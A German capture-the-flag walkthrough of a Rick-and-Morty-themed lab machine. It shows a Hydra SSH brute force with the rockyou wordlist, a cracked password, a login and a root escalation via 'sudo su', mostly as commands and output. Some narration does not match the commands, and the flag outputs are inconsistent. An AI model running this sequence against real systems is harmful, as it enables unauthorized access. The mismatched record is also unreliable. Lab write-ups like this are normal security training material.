drwxr-xr-x. 4 RickSanchez RickSanchez 113 21. Sep 2017  .
drwxr-xr-x. 5 root        root         52 18. Aug 2017  ..
-rw-r--r--. 1 RickSanchez RickSanchez  18 30. Mai 2017  .bash_logout
-rw-r--r--. 1 RickSanchez RickSanchez 193 30. Mai 2017  .bash_profile
-rw-r--r--. 1 RickSanchez RickSanchez 231 30. Mai 2017  .bashrc
drwxr-xr-x. 2 RickSanchez RickSanchez  18 21. Sep 2017  RICKS_SAFE
drwxrwxr-x. 2 RickSanchez RickSanchez  26 18. Aug 2017  ThisDoesntContainAnyFlags
                    

Im Verzeichnis "/home/RickSanchez" finden wir das Verzeichnis "RICKS_SAFE". Wir wechseln in dieses Verzeichnis.

[Summer@localhost RickSanchez]$ cd ThisDoesntContainAnyFlags/

                
[Summer@localhost ThisDoesntContainAnyFlags]$ ls -la
total 4
drwxrwxr-x. 2 RickSanchez RickSanchez  26 18. Aug 2017  .
drwxr-xr-x. 4 RickSanchez RickSanchez 113 21. Sep 2017  ..
-rw-rw-r--. 1 RickSanchez RickSanchez  95 18. Aug 2017  NotAFlag.txt
                    
[Summer@localhost ThisDoesntContainAnyFlags]$ cat NotAFlag.txt
                         _
                        | \
                        | |
                        | |
   |\                   | |
  /, ~\                / /
 X     `-.....-./ /
  ~-. ~  ~              |
     \             /    |
      \  /_     ___\   /
      | /\ ~   \  |
      | | \        || |
      | |\ \       || )
     (_/ (_/      ((_/
                    

Dieses Verzeichnis enthält keine Flags, sondern nur eine ASCII-Art Grafik. Wir gehen zurück zum Verzeichnis "/home/RickSanchez".

[Summer@localhost RICKS_SAFE]$ file safe
safe: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=6788eee358d9e51e369472b52e684b7d6da7f1ce, not stripped
                    

Die Datei "safe" ist eine ausführbare Datei. Wir laden diese Datei herunter.

┌──(root㉿cycat)-[~]
└─# wget 192.168.2.134:8888/safe
--2023-07-15 01:47:49--  http://192.168.2.134:8888/safe
Verbindungsaufbau zu 192.168.2.134:8888 … verbunden.
HTTP-Anforderung gesendet, auf Antwort wird gewartet … 200 OK
Länge: 8704 (8,5K) [application/octet-stream]
Wird in safe gespeichert.

safe                    100%[===================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================>]   8,50K  --.-KB/s    in 0s

2023-07-15 01:47:49 (289 MB/s) - safe gespeichert [8704/8704]
                    

Wir haben die Datei "safe" heruntergeladen. Wir machen sie ausführbar und führen sie aus.

[Summer@localhost RICKS_SAFE]$ cp safe /tmp/

                
[Summer@localhost RICKS_SAFE]$ ls
safe
[Summer@localhost RICKS_SAFE]$ cd /tmp/

                
[Summer@localhost tmp]$ ls
f     systemd-private-462e5de06498472fa383f7930d8100a2-chronyd.service-8uUmnY
safe  systemd-private-462e5de06498472fa383f7930d8100a2-httpd.service-ca5FE
                    
[Summer@localhost tmp]$ chmod +x safe

                
[Summer@localhost tmp]$ ./safe 131333
decrypt: 	FLAG{And Awwwaaaaayyyy we Go!} - 20 Points

Ricks password hints:
(This is incase I forget.. I just hope I don't forget how to write a script to generate potential passwords. Also, sudo is wheely good.)
Follow these clues, in order

1 uppercase character
1 digit
One of the words in my old bands name.
                    

Wir haben die Datei "safe" mit dem Passwort "131333" ausgeführt und eine weitere Flag gefunden! Zusätzlich erhalten wir Hinweise auf das Passwort von RickSanchez. Wir versuchen nun, das Passwort von RickSanchez zu knacken.

┌──(root㉿cycat)-[~]
└─# hydra -l RickSanchez -P /usr/share/wordlists/rockyou.txt ssh://192.168.2.134:22222 -t 64
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these * ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-07-15 01:57:47
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344418 login tries (l:1/p:14344418), ~224132 tries per task
[DATA] attacking ssh://192.168.2.134:22222/
[22222][ssh] host: 192.168.2.134   login: RickSanchez   password: P7Curtains
1 of 1 target successfully completed, 1 valid password found
                    

Hydra hat das Passwort "P7Curtains" für den Benutzer RickSanchez gefunden! Wir melden uns nun als RickSanchez an.

┌──(root㉿cycat)-[~]
└─# ssh RickSanchez@192.168.2.134 -p 22222
RickSanchez@192.168.2.134's password: P7Curtains
Last failed login: Sat Jul 15 09:56:53 AEST 2023 from 192.168.2.114 on ssh:notty
There were 5977 failed login attempts since the last successful login.
Last login: Thu Sep 21 09:45:24 2017
[RickSanchez@localhost ~]$
                    

Wir haben uns erfolgreich als RickSanchez angemeldet. Nun suchen wir nach Möglichkeiten, Root-Rechte zu erlangen.

Wir haben nun als RickSanchez zugriff, das nächste Ziel ist Root rechte zu erlangen.

[RickSanchez@localhost ~]$ sudo -l
[sudo] password for RickSanchez:
Matching Defaults entries for RickSanchez on localhost:
    !visiblepw, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS",
    env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE
    LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC
    LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET
    XAUTHORITY", secure_path=/sbin:/bin:/usr/sbin:/usr/bin

User RickSanchez may run the following commands on localhost:
    (ALL) ALL
                    

Der Benutzer RickSanchez darf alle Befehle als Root ausführen! Dies ist eine einfache Möglichkeit, Root-Rechte zu erlangen.

[RickSanchez@localhost ~]$ sudo su

                
[root@localhost RickSanchez]# id
uid=0(root) gid=0(root) groups=0(root)

Wir sind jetzt als `root` angemeldet. Unser Ziel ist es nun, die Root-Flag zu finden.

[root@localhost ~]# cd /root

                
[root@localhost ~]# ls -la
total 36
dr-xr-x.  4 root root  191 Aug 25  2017 .
dr-xr-xr-x. 17 root root  236 Aug 18  2017 ..
-rw-------.  1 root root 1214 Aug 18  2017 anaconda-ks.cfg
-rw-------.  1 root root    7 Sep 15  2017 .bash_history
-rw-r--r--.  1 root root   18 Feb 12  2017 .bash_logout
-rw-r--r--.  1 root root  176 Feb 12  2017 .bash_profile
-rw-r--r--.  1 root root  176 Feb 12  2017 .bashrc
-rw-r--r--.  1 root root  100 Feb 12  2017 .cshrc
-rw-r--r--.  1 root root   40 Aug 22  2017 FLAG.txt
-rw-------.  1 root root   32 Aug 22  2017 .lesshst
drwxr----.  3 root root   19 Aug 21  2017  .pki
drwx------.  2 root root   25 Aug 22  2017  .ssh
-rw-r--r--.  1 root root  129 Feb 12  2017  .tcshrc
                    
[root@localhost ~]# cat FLAG.txt
                         _
                        | \
                        | |
                        | |
   |\                   | |
  /, ~\                / /
 X     `-.....-./ /
  ~-. ~  ~              |
     \             /    |
      \  /_     ___\   /
      | /\ ~   \  |
      | | \        || |
      | |\ \       || )
     (_/ (_/      ((_/
                    

Wir haben die Root-Flag gefunden.

Flags

cat user.txt
c7d0a8de1e03b25a6f7ed2d91b94dad6
cat root.txt
5C42D6BB0EE9CE4CB7E7349652C45C4A